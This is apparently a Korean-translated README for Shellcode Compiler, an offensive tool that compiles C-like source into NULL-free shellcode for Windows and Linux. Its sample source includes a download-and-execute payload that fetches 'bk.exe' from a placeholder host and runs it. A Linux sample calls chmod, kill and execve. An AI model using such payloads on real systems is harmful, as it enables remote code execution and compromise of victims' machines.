
셸코드 컴파일러
Shellcode Compiler는 C/C++ 스타일 코드를 Windows(x86 및 x64) 및 Linux(x86 및 x64)용 작고 위치 독립적이며 NULL이 없는 셸코드로 컴파일하는 프로그램입니다. 사용자 친화적인 방식으로 모든 Windows API 함수 또는 Linux syscall을 호출할 수 있습니다.
Shellcode Compiler는 소스 파일을 입력으로 받아 자체 컴파일러를 사용하여 코드를 해석하고 Keystone 엔진으로 어셈블되는 어셈블리 파일을 생성합니다.
-h (--help) : Show this help message
-p (--platform) : Shellcode platform: win_x86,win_x64,linux_x86,linux_x64
-v (--verbose) : Print detailed output
-t (--test) : Test (execute) generated shellcode
-r (--read) : Read source code file
-o (--output) : Output file of the generated binary shellcode
-a (--assembbly) : Output file of the generated assembly code
function URLDownloadToFileA("urlmon.dll");
function WinExec("kernel32.dll");
function ExitProcess("kernel32.dll");
URLDownloadToFileA(0,"https://site.com/bk.exe","bk.exe",0,0);
WinExec("bk.exe",0);
ExitProcess(0);
chmod("/root/chmodme",511);
write(1,"Hello, world",12);
kill(1661,9);
getpid();
execve("/usr/bin/burpsuite",0,0);
exit(2);
ShellcodeCompiler.exe -r Source.txt -o Shellcode.bin -a Assembly.asm -p win_x64
그 외에도 여러 다른 제한 사항이 존재합니다. 이것은 알파 버전입니다. 버그나 제안 사항을 보고해 주시기 바랍니다.
Ionut Popescu (@NytroRST)